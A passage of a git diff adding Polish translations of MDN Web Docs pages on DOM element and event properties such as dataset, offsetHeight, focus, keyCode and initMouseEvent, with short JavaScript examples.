- -
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe</div>
- -
const el = document.querySelector('#user');
-
-// el.id == 'user'
-// el.dataset.id === '1234567890'
-// el.dataset.user === 'johndoe'
-// el.dataset.dateOfBirth === ''
-
-// set the data attribute
-el.dataset.dateOfBirth = '1960-10-03';
-// Result: el.dataset.dateOfBirth === 1960-10-03
-
-delete el.dataset.dateOfBirth;
-// Result: el.dataset.dateOfBirth === undefined
-
-// 'someDataAttr' in el.dataset === false
-el.dataset.someDataAttr = 'mydata';
-// Result: 'someDataAttr' in el.dataset === true
-
- -

Specyfikacje

- - - - - - - - - - - - - - - - - - - - - - - - -
SpecyfikacjaStatusKomentarz
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
- -

Browser compatibility

- - - -

{{Compat("api.HTMLElement.dataset")}}

- -

Zobacz także

- - diff --git a/files/pl/web/api/htmlelement/dir/index.html b/files/pl/web/api/htmlelement/dir/index.html new file mode 100644 index 0000000000..5e20e1e6ad --- /dev/null +++ b/files/pl/web/api/htmlelement/dir/index.html @@ -0,0 +1,34 @@ +--- +title: element.dir +slug: Web/API/Element/dir +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/dir +--- +
+ {{ApiRef}}
+

Podsumowanie

+

Atrybut dir ustawia lub pobiera kierunek pisania tekstu dla zawartości bieżącego elementu.

+

Składnia i wartości

+
var bieżącyKierunekPisania = elementNodeReference.dir;
+elementNodeReference.dir = nowyKierunekPisania;
+
+

bieżącyKierunekPisania jest łańcuchem reprezentującym kierunek pisania tekstu bieżącego elementu. nowyKierunekPisania to zmienna łańcuchowa, której wartość reprezentuje kierunek pisania tekstu.

+

Możliwe wartości dir to ltr dla "od lewej do prawej" i rtl dla "od prawej do lewej".

+

Przykład

+
var parg = document.getElementById("para1");
+
+parg.dir = "rtl";
+// zmienia kierunek tekstu w paragrafie "para1"
+
+

Uwagi

+

Kierunek pisania tekstu elementu oznacza kierunek, w którym idzie tekst (do obsługi różnych języków). Języki arabski i hebrajski to typowe przykłady użycia kierunku rtl.

+

Obrazek może mieć atrybut dir ustawiony na rtl. W takim wypadku atrybuty title i alt będą sformatowane i wyświetlona jako rtl.

+

Jeśli tabela ma kierunek rtl, kolumny porządkowane są od prawej do lewej.

+

Specyfikacja

+ diff --git a/files/pl/web/api/htmlelement/lang/index.html b/files/pl/web/api/htmlelement/lang/index.html new file mode 100644 index 0000000000..446c0817b9 --- /dev/null +++ b/files/pl/web/api/htmlelement/lang/index.html @@ -0,0 +1,40 @@ +--- +title: element.lang +slug: Web/API/Element/lang +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/lang +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Własność ta pozwala pobrać lub ustawić język bazowy wartości atrybutów i treści elementu.

+

Składnia i wartości

+
var languageUsed = elementNodeReference.lang;
+elementNodeReference.lang = NewLanguage;
+
+ +

Przykład

+
// poniższy fragment kodu porównuje język bazowy i odsyła
+// do innych URL na podstawie odczytanego kodu języka
+if (document.documentElement.lang == "en")
+   {
+    window.location.href = "Some_document.html.en";
+   }
+else if(document.documentElement.lang == "ru")
+   {
+    window.location.href = "Some_document.html.ru";
+   };
+
+

Uwagi

+

Kod języka zwracany przez w/w właściwość zgodny jest z kodami zdefiniowanymi w dokumencie RFC 1766. Przykładowo: "en" dla języka angielskiego, "ja" dla japońskiego, "es" dla hiszpańskiego itd. Domyślna wartość atrybutu to unknown. Wartość tego atrybutu ustawiana jest zwykle dla podstawowego (najwyższego) elementu dokumentu.

+

Specyfikacja

+

W3C DOM Level 2 HTML: lang

+
+  
+

{{ languages( { "en": "en/DOM/element.lang", "fr": "fr/DOM/element.lang", "ja": "ja/DOM/element.lang" } ) }}

diff --git a/files/pl/web/api/htmlelement/offsetheight/index.html b/files/pl/web/api/htmlelement/offsetheight/index.html new file mode 100644 index 0000000000..ce5fc2254e --- /dev/null +++ b/files/pl/web/api/htmlelement/offsetheight/index.html @@ -0,0 +1,61 @@ +--- +title: element.offsetHeight +slug: Web/API/Element/offsetHeight +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetHeight +--- +

{{ ApiRef() }}

+ +

offsetHeight

+ +

Własność DHTML (Dynamic HyperText Markup Language), która daje wysokość relatywnego elementu do układu strony.

+ +

Składnia i wartości

+ +
varintElemOffsetHeight = document.getElementById(id_attribute_value).offsetHeight;
+
+ +

intElemOffsetHeightis a variable storing an integer corresponding to the offsetHeight pixel value of the element. offsetHeight is a read-only property.

+ +

Opis

+ +

Typically, an element's offsetHeight is a measurement which includes the element borders, the element vertical padding, the element horizontal scrollbar (if present, if rendered) and the element CSS height.

+ +

Przykład

+ +
+
+

padding-top

+ +

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+ +

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+ +

Cat image and text coming from www.best-cat-art.com

+ +

padding-bottom

+
+LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
+ +

grafika:offsetHeight.png

+ +

Specyfikacja

+ +

offsetHeight is part of the MSIE's DHTML object model. offsetHeight is not part of any W3C specification or technical recommendation.

+ +

Uwagi

+ +

offsetHeight is a property of the DHTML object model which was first introduced by MSIE. It is sometimes referred as an element physical/graphical dimensions or an element's box height.

+ +

Dokumentacja

+ + diff --git a/files/pl/web/api/htmlelement/offsetleft/index.html b/files/pl/web/api/htmlelement/offsetleft/index.html new file mode 100644 index 0000000000..b0252f3363 --- /dev/null +++ b/files/pl/web/api/htmlelement/offsetleft/index.html @@ -0,0 +1,73 @@ +--- +title: element.offsetLeft +slug: Web/API/Element/offsetLeft +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetLeft +--- +

{{ ApiRef("HTML DOM") }}

+ +

Podsumowanie

+ +

Zwraca ilość pikseli, jaką dzieligórny lewy róg bieżącego elementu od lewej strony wewnątrz węzła offsetParent.

+ +

Składnia

+ +
left =element.offsetLeft;
+
+ +

left jest liczbą całkowitą reprezentująca przesunięcie od lewej strony podane w pikselach.

+ +

Uwaga

+ +

offsetLeft returns the position the upper left edge of the element; not necessarily the 'real' left edge of the element. This is important for inline elements (such as span) in flowed text that wraps from one line to the next. The span may start in the middle of the line and wrap around to the beginning of the next line. The offsetLeft will refer to the left edge of the start of the span, not the left edge of text at the start of the second line. Therefore, a box with the left, top, width and height of offsetLeft, offsetTop, offsetWidth and offsetHeight will not be a bounding box for a span with wrapped text. (And, I can't figure out how to find the leftmost edge of such a span, sigh.)

+ +

Przykład

+ +
var colorTable = document.getElementById("t1");
+var tOLeft = colorTable.offsetLeft;
+
+if (tOLeft > 5) {
+  // duże lewe przesunięcie: zrób coś tutaj
+}
+
+ +

Przykład

+ +

Per the note above, this example shows a 'long' sentence that wraps within a div with a blue border, and a red box that one might think should describe the boundaries of the span.

+ +

Image:offsetLeft.jpg

+ +

Note: This is an image of the example, not a live rendering in the browser. This was done because script elements can't be included in the wiki page.

+ +
<div style="width: 300px; border-color:blue;
+  border-style:solid; border-width:1;">
+  <span>Short span. </span>
+  <span id="long">Long span that wraps withing this div.</span>
+</div>
+
+<div id="box" style="position: absolute; border-color: red;
+  border-width: 1; border-style: solid; z-index: 10">
+</div>
+
+<script>
+  var box = document.getElementById("box");
+  var long = document.getElementById("long");
+  box.style.left = long.offsetLeft + document.body.scrollLeft;
+  box.style.top = long.offsetTop + document.body.scrollTop;
+  box.style.width = long.offsetWidth;
+  box.style.height = long.offsetHeight;
+</script>
+
+ +

Zobacz także

+ +

offsetParent, offsetTop, offsetWidth, offsetHeight

+ +

Specyfikacja

+ +

Niestandardowa własność.

diff --git a/files/pl/web/api/htmlelement/offsetparent/index.html b/files/pl/web/api/htmlelement/offsetparent/index.html new file mode 100644 index 0000000000..c33d32b38c --- /dev/null +++ b/files/pl/web/api/htmlelement/offsetparent/index.html @@ -0,0 +1,28 @@ +--- +title: element.offsetParent +slug: Web/API/Element/offsetParent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetParent +--- +

{{ ApiRef() }}

+

Podsumowanie

+

offsetParent zwraca referencję do obiektu, który jest najbliższym (w hierarchii zawierania się elementów) pozycjonowanym elementem. Jeżeli element nie jest pozycjonowany, offsetParent jest wówczas korzeń dokumentu (html w trybie zgodności ze standardami; body w trybie przybliżonym).

+

Składnia

+
parentObj = element.offsetParent
+
+

Parametry

+ +

Specyfikacja

+

DOM Level 0. + + Nie jest częścią specyfikacji. +

+
+  
+

{{ languages( { "en": "en/DOM/element.offsetParent", "fr": "fr/DOM/element.offsetParent" } ) }}

diff --git a/files/pl/web/api/htmlelement/offsetwidth/index.html b/files/pl/web/api/htmlelement/offsetwidth/index.html new file mode 100644 index 0000000000..b78d7b4136 --- /dev/null +++ b/files/pl/web/api/htmlelement/offsetwidth/index.html @@ -0,0 +1,70 @@ +--- +title: element.offsetWidth +slug: Web/API/Element/offsetWidth +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/HTMLElement/offsetWidth +--- +

{{ APIRef("HTML DOM") }}

+ +

offsetWidth

+ +

właściwość DHTML, która podaje szerokość elementu, odnosząca się do układu strony.

+ +

Składnia i wartości

+ +
var intElemOffsetWidth = document.getElementById(id_attribute_value).offsetWidth;
+
+ +

intElemOffsetWidth jest zmienną przechowującą liczbę całkowitą odpowiadającą wartości offsetWidth elementu i wyrażoną w pikselach. offsetWidth jest właściwością tylko do odczytu.

+ +

Opis

+ +

Zazwyczaj offsetWidth elementu obejmuje jego obramowanie, wewnętrzny margines (padding), pionowy pasek przewijania (jeśli jest obecny lub renderowany) i szerokość CSS elementu.

+ +

Przykład

+ +
+
+

padding-top

+ +

Gentle, individualistic and very loyal, Birman cats fall between Siamese and Persian in character. If you admire cats that are non aggressive, that enjoy being with humans and tend to be on the quiet side, you may well find that Birman cats are just the felines for you.

+ +

Image:BirmanCat.jpgAll Birmans have colorpointed features, dark coloration of the face, ears, legs and tail.

+ +

Cat image and text coming from www.best-cat-art.com

+ +

padding-bottom

+
+LeftTopRightBottommargin-topmargin-bottomborder-topborder-bottom{{ mediawiki.external('if IE') }}><span id="MrgLeft" style="position: absolute; left: 8px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-left</span><span id="BrdLeft" style="position: absolute; left: 33px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-left</span><span id="PdgLeft" style="position: absolute; left: 55px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">padding-left</span><span id="PdgRight" style="position: absolute; left: 275px; top: 60px; color: black; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl; white-space: nowrap;">padding-right</span><span id="BrdRight" style="position: absolute; left: 310px; top: 65px; color: white; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">border-right</span><span id="MrgRight" style="position: absolute; left: 340px; top: 65px; font: bold 13px Arial, sans-serif !important; writing-mode: tb-rl;">margin-right</span><!{{ mediawiki.external('endif') }}
+ +

Image:offsetWidth.png

+ +

Specyfikacja

+ +

offsetWidth jest częścią modelu obiektowego MSIE DHTML. offsetWidth nie jest częścią żadnej specyfikacji W3C ani rekomendacji technicznej.

+ +

Uwagi

+ +

offsetWidth jest własnością modelu obiektowego DHTML, który został wprowadzony przez MSIE. Czasem określany jest jako fizyczny/graficzny wymiar elementu lub jako szerokość pudełka elementu.

+ +

Dokumentacja

+ + + +
+

Zobacz również

+
+ + diff --git a/files/pl/web/api/htmlorforeignelement/blur/index.html b/files/pl/web/api/htmlorforeignelement/blur/index.html new file mode 100644 index 0000000000..1febd21617 --- /dev/null +++ b/files/pl/web/api/htmlorforeignelement/blur/index.html @@ -0,0 +1,21 @@ +--- +title: element.blur +slug: Web/API/Element/blur +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLOrForeignElement/blur +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Metoda blur dezaktywuje bieżący element (usuwa focus).

+

Składnia

+
element.blur()
+
+

Specyfikacja

+

blur

+
+  
+

{{ languages( { "en": "en/DOM/element.blur", "fr": "fr/DOM/element.blur" } ) }}

diff --git a/files/pl/web/api/htmlorforeignelement/dataset/index.html b/files/pl/web/api/htmlorforeignelement/dataset/index.html new file mode 100644 index 0000000000..fac7ec119f --- /dev/null +++ b/files/pl/web/api/htmlorforeignelement/dataset/index.html @@ -0,0 +1,134 @@ +--- +title: HTMLElement.dataset +slug: Web/API/HTMLElement/dataset +translation_of: Web/API/HTMLOrForeignElement/dataset +--- +
{{ APIRef("HTML DOM") }}
+ +

Właściwość dataset interfejsu {{domxref("HTMLElement")}} pozwala na odczyt/zapis niestandardowcyh atrybutów (data-*) elementu. Dostęp ten jest możliwy w HTMLu jak i w DOMie.  It is a map of DOMString, one entry for each custom data attribute. Zauważ że właściwość dataset można odczytać, ale nie zmieniać bezpośrednio. Zamiast tego, wszystkie zapisy muszą być wykonywane na pojedynczych polach dataset, które odpowiadają atrybutom danych. Note also that an HTML data-attribute and its corresponding DOM dataset.property do not share the same name, but they are always similar:

+ + + +

In addition to the information below, you'll find a how-to guide for using HTML data attributes in our article Using data attributes.

+ +

Zmiana nazw

+ +

dash-style to camelCase: A custom data attribute name is transformed to a key for the {{ domxref("DOMStringMap") }} entry with the following rules

+ + + +

camelCase to dash-style: The opposite transformation, that maps a key to an attribute name, uses the following rules:

+ + + +

The restriction in the rules above ensures that the two transformations are the inverse one of the other.

+ +

For example, the attribute named data-abc-def corresponds to the key abcDef.

+ + + +

Dostęp do wartości

+ + + + + +

Ustawianie wartości

+ + + +

Składnia

+ + + +

Przykłady

+ +
<div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth>John Doe</div>
+ +
const el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// set the data attribute
+el.dataset.dateOfBirth = '1960-10-03';
+// Result: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// Result: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// Result: 'someDataAttr' in el.dataset === true
+
+ +

Specyfikacje

+ + + + + + + + + + + + + + + + + + + + + + + + +
SpecyfikacjaStatusKomentarz
{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML WHATWG')}}No change from latest snapshot, {{SpecName('HTML5.1')}}
{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5.1')}}Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}
{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}{{Spec2('HTML5 W3C')}}Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.
+ +

Browser compatibility

+ + + +

{{Compat("api.HTMLElement.dataset")}}

+ +

Zobacz także

+ + diff --git a/files/pl/web/api/htmlorforeignelement/focus/index.html b/files/pl/web/api/htmlorforeignelement/focus/index.html new file mode 100644 index 0000000000..7f3eef32fa --- /dev/null +++ b/files/pl/web/api/htmlorforeignelement/focus/index.html @@ -0,0 +1,23 @@ +--- +title: element.focus +slug: Web/API/Element/focus +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLOrForeignElement/focus +--- +

{{ ApiRef() }}

+

Podsumowanie

+

focus aktywuje bieżący element (ustawia focus).

+

Składnia

+
element.focus()
+
+

Uwagi

+

Wywołanie metody focus() jest równoważne z zaznaczeniem elementu przez użytkownika.

+

Specyfikacja

+

focus

+
+  
+

{{ languages( { "en": "en/DOM/element.focus", "fr": "fr/DOM/element.focus" } ) }}

diff --git a/files/pl/web/api/htmlorforeignelement/tabindex/index.html b/files/pl/web/api/htmlorforeignelement/tabindex/index.html new file mode 100644 index 0000000000..d8fdd6ce7d --- /dev/null +++ b/files/pl/web/api/htmlorforeignelement/tabindex/index.html @@ -0,0 +1,31 @@ +--- +title: element.tabIndex +slug: Web/API/Element/tabIndex +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/HTMLOrForeignElement/tabIndex +--- +
+ {{APIRef}}
+
+  
+
+ Podsumowanie
+

Pobiera/ustawia kolejność tabulacji dla bieżącego elementu.

+

Składnia

+
element.tabIndex = indeks
+
+ +

Przykład

+
var b1 = document.getElementById("button1");
+
+b1.tabIndex = 1;
+

Specyfikacja

+ diff --git a/files/pl/web/api/keyboardevent/charcode/index.html b/files/pl/web/api/keyboardevent/charcode/index.html new file mode 100644 index 0000000000..6600e6c1dd --- /dev/null +++ b/files/pl/web/api/keyboardevent/charcode/index.html @@ -0,0 +1,27 @@ +--- +title: event.charCode +slug: Web/API/Event/charCode +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/KeyboardEvent/charCode +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca kod Unicode dla klawisza znaku, który został wciśnięty, w zdarzeniu keypress.

+

Składnia

+
znak = event.charCode
+
+

Parametry

+ +

Uwagi

+

W zdarzeniu keypress kod Unicode wciśniętego klawisza jest przechowywany albo we własności keyCode albo w charCode, nigdy w obydwu. Jeśli wciśnięcie klawisza skutkowałoby wprowadzeniem znaku (np. 'a'), charCode ustawiany jest dla kodu tego znaku, z uwzględnieniem wielkości (małe lub duże litery) znaku (np. bierze pod uwagę, czy wciśnięto klawisz shift). W przeciwnym przypadku, naciśnięty klawisz przechowywany jest w keyCode.

+

charCode nigdy nie jest ustawiany w zdarzeniach keydown i keyup. W tych przypadkach ustawiany jest keyCode.

+

Aby pobrać kod klawisza niezależnie, czy jest przechowywany w keyCode czy w charCode, sprawdź właściwość which.

+

Znaki wprowadzane poprzez IME nie są rejestrowane poprzez keyCode ani charCode. (IME - program pozwalający wprowadzać skomplikowane znaki, np. japońskie bądź chińskie - przyp. tłum.)

+

Listę wartości charCode związanych z poszczególnymi klawiszami możesz znaleźć uruchamiając Przykład 7: Wyświetlanie stałych obiektu event.

+

Specyfikacja

+

Nie należy do specyfikacji. Zobacz nsIDOMKeyEvent.

+

{{ languages( { "en": "en/DOM/event.charCode" } ) }}

diff --git a/files/pl/web/api/keyboardevent/keycode/index.html b/files/pl/web/api/keyboardevent/keycode/index.html new file mode 100644 index 0000000000..3c6c510c14 --- /dev/null +++ b/files/pl/web/api/keyboardevent/keycode/index.html @@ -0,0 +1,24 @@ +--- +title: event.keyCode +slug: Web/API/Event/keyCode +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/KeyboardEvent/keyCode +translation_of_original: Web/API/event.keyCode +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca kod Unicode dla klawisza nie będącego znakiem w zdarzeniu keypress lub dowolnego klawisza w każdym innym zdarzeniu związanym z klawiaturą.

+

Składnia

+
klawisz = event.keyCode
+
+

Parametry

+ +

Uwagi

+

Zobacz opis właściwości charCode.

+

Specyfikacja

+

Nie należy do specyfikacji. Zobacz nsIDOMKeyEvent.

+

{{ languages( { "en": "en/DOM/event.keyCode" } ) }}

diff --git a/files/pl/web/api/mouseevent/altkey/index.html b/files/pl/web/api/mouseevent/altkey/index.html new file mode 100644 index 0000000000..1b0faf6fae --- /dev/null +++ b/files/pl/web/api/mouseevent/altkey/index.html @@ -0,0 +1,32 @@ +--- +title: event.altKey +slug: Web/API/Event/altKey +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/altKey +translation_of_original: Web/API/event.altKey +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Wskazuje, czy klawisz <alt> był wciśnięty przy wywołaniu zdarzenia.

+

Składnia

+
bool = event.altKey
+
+

Przykład

+
 function goInput(e) {
+ // sprawdza przycisk <alt>
+   if e.altKey {
+      // przekazuje zdarzenie dalej
+      superSizeOutput(e);
+   }
+   else {
+     doOutput(e);
+   }
+ }
+
+
+  
+

{{ languages( { "en": "en/DOM/event.altKey", "ja": "ja/DOM/event.altKey" } ) }}

diff --git a/files/pl/web/api/mouseevent/button/index.html b/files/pl/web/api/mouseevent/button/index.html new file mode 100644 index 0000000000..4ee1c42386 --- /dev/null +++ b/files/pl/web/api/mouseevent/button/index.html @@ -0,0 +1,67 @@ +--- +title: event.button +slug: Web/API/Event/button +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/button +translation_of_original: Web/API/event.button +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Wskazuje, który przycisk myszy wywołał zdarzenie.

+

Składnia

+
var kodPrzycisku = event.button;
+
+

Zwraca całkowitą wartość liczbową oznaczającą przycisk, który zmienił stan:

+ +

Faktyczna kolejność przycisków może być różna, zależnie od konfiguracji urządzenia wskazującego.

+

Przykład

+
<script type="text/javascript">
+
+function whichButton(e)
+{
+  // obsłuż różne modele obsługi zdarzeń
+  var e = e || window.event;
+  var btnCode;
+
+  if ('object' == typeof e){
+    btnCode = e.button;
+
+    switch (btnCode){
+      case 0  : alert('Kliknięto lewym przyciskiem');
+                break;
+      case 1  : alert('Kliknięto środkowym przyciskiem');
+                break;
+      case 2  : alert('Kliknięto prawym przyciskiem');
+                break;
+      default : alert('Nieoczekiwany kod: ' + btnCode);
+    }
+  }
+}
+
+</script>
+
+<p onclick="whichButton(event);">Kliknij tu myszą...</p>
+
+
+

Uwagi

+

Ponieważ kliknięcia myszy są często przechwytywane przez interfejs uzytkownika, w niektórych okolicznościach może być trudno wykryć przyciski inne niż ten dla standardowego kliknięcia (tj. zazwyczaj lewy).

+

Użytkownicy mogą zmienić konfigurację przycisków swoich urządzeń wskazujących, tak że nawet jeśli własność + + button + wynosi zero, niekoniecznie musiał być naciśnięty przycisk znajdujący się fizycznie po lewej stronie. Jednak zachowanie w takiej sytuacji powinno być takie, jak gdyby kliknięto lewy przycisk w standardowym układzie.

+

Specyfikacja

+

DOM Level 2 Events: button

+
+  
+

{{ languages( { "en": "en/DOM/event.button", "ja": "ja/DOM/event.button" } ) }}

diff --git a/files/pl/web/api/mouseevent/clientx/index.html b/files/pl/web/api/mouseevent/clientx/index.html new file mode 100644 index 0000000000..2e38b30ea8 --- /dev/null +++ b/files/pl/web/api/mouseevent/clientx/index.html @@ -0,0 +1,26 @@ +--- +title: event.clientX +slug: Web/API/Event/clientX +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/clientX +translation_of_original: Web/API/event.clientX +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca poziomą współrzędną zdarzenia w obszarze klienta.

+

Przykład

+
 function checkClientClickMap(e) {
+   if e.clientX < 50 {
+     doRedButton(); }
+   if 50 <= e.clientX < 100 {
+     doYellowButton(); }
+   if e.clientX >= 100 {
+     doRedButton(); } }
+
+

Uwagi

+

Zobacz też clientY.

+

Specyfikacja

+

clientX

+

{{ languages( { "en": "en/DOM/event.clientX" } ) }}

diff --git a/files/pl/web/api/mouseevent/clienty/index.html b/files/pl/web/api/mouseevent/clienty/index.html new file mode 100644 index 0000000000..45d9ae0b34 --- /dev/null +++ b/files/pl/web/api/mouseevent/clienty/index.html @@ -0,0 +1,17 @@ +--- +title: event.clientY +slug: Web/API/Event/clientY +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/clientY +translation_of_original: Web/API/event.clientY +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Zwraca pionową współrzędną zdarzenia w obszarze klienta.

+

Uwagi

+

Zobacz też clientX, wraz z przykładem wykorzystania.

+

Specyfikacja

+

clientY

+

{{ languages( { "en": "en/DOM/event.clientY" } ) }}

diff --git a/files/pl/web/api/mouseevent/ctrlkey/index.html b/files/pl/web/api/mouseevent/ctrlkey/index.html new file mode 100644 index 0000000000..e0753f6aee --- /dev/null +++ b/files/pl/web/api/mouseevent/ctrlkey/index.html @@ -0,0 +1,27 @@ +--- +title: event.ctrlKey +slug: Web/API/Event/ctrlKey +tags: + - DOM + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/ctrlKey +translation_of_original: Web/API/event.ctrlKey +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Wskazuje, czy klawisz <ctrl> był wciśnięty podczas wywołania zdarzenia.

+

Składnia

+
bool = event.ctrlKey
+
+

Przykład

+
 function goInput(e) {
+ // sprawdza ctrlKey
+   if e.ctrlKey
+        // i przekazuje zdarzenie dalej
+     superSizeOutput(e);
+   else
+     doOutput(e)
+
+

Specyfikacja

+

ctrlKey

+

{{ languages( { "en": "en/DOM/event.ctrlKey" } ) }}

diff --git a/files/pl/web/api/mouseevent/initmouseevent/index.html b/files/pl/web/api/mouseevent/initmouseevent/index.html new file mode 100644 index 0000000000..e9de804697 --- /dev/null +++ b/files/pl/web/api/mouseevent/initmouseevent/index.html @@ -0,0 +1,86 @@ +--- +title: event.initMouseEvent +slug: Web/API/Event/initMouseEvent +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/MouseEvent/initMouseEvent +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Inicjuje zdarzenie myszy po jego utworzeniu (za pomocą metody createEvent interfejsu DocumentEvent).

+

Składnia

+
event.initMouseEvent(type,canBubble,cancelable,view,detail,screenX,screenY,clientX,clientY,ctrlKey,altKey,shiftKey,metaKey,button,relatedTarget);
+
+
+
+ type
+
+ łańcuch znaków do ustawienia typu zdarzeń. Możliwe typy dla zdarzeń myszy: click, mousedown, mouseup, mouseover, mousemove, mouseout.
+
+ canBubble
+
+ czy zdarzenie bąbelkuje. Ustawia wartość event.bubbles.
+
+ cancelable
+
+ czy domyślna akcja zdarzenia może być anulowana. Ustawia Ustawia wartość event.cancelable.
+
+ view
+
+ AbstractView zdarzenia. You should pass the window object here. Ustawia wartość event.view.
+
+ detail
+
+ wartość licznika kliknięć myszą. Ustawia wartość event.detail.
+
+ screenX
+
+ współrzędna x względem ekranu. Ustawia wartość event.screenX.
+
+ screenY
+
+ współrzędna y względem ekranu. Ustawia wartość event.screenY.
+
+ clientX
+
+ współrzędna x w obszarze klienta. Ustawia wartość event.clientX.
+
+ clientY
+
+ współrzędna y w obszarze klienta. Ustawia wartość event.clientY.
+
+ ctrlKey
+
+ czy klawisz control był wciśnięty podczas zdarzenia. Ustawia wartość event.ctrlKey.
+
+ altKey
+
+ czy klawisz alt był wciśnięty podczas zdarzenia. Ustawia wartość event.altKey.
+
+ shiftKey
+
+ czy klawisz shift był wciśnięty podczas zdarzenia. Ustawia wartość event.shiftKey.
+
+ metaKey
+
+ czy klawisz meta był wciśnięty podczas zdarzenia. Ustawia wartość event.metaKey.
+
+ button
+
+ zdarzenie myszy event.button.
+
+ relatedTarget
+
+ zdarzenie related EventTarget. Stosowane tylko z kilkoma typami zdarzeń (np. mouseover i mouseout). W innych przypadkach, zwraca null.
+
+

Przykład

+

 

+

Specyfikacja

+

DOM Level 2 Events: initMouseEvent

+

 

+
+  
+

{{ languages( { "en": "en/DOM/event.initMouseEvent", "es": "es/DOM/event.initMouseEvent" } ) }}

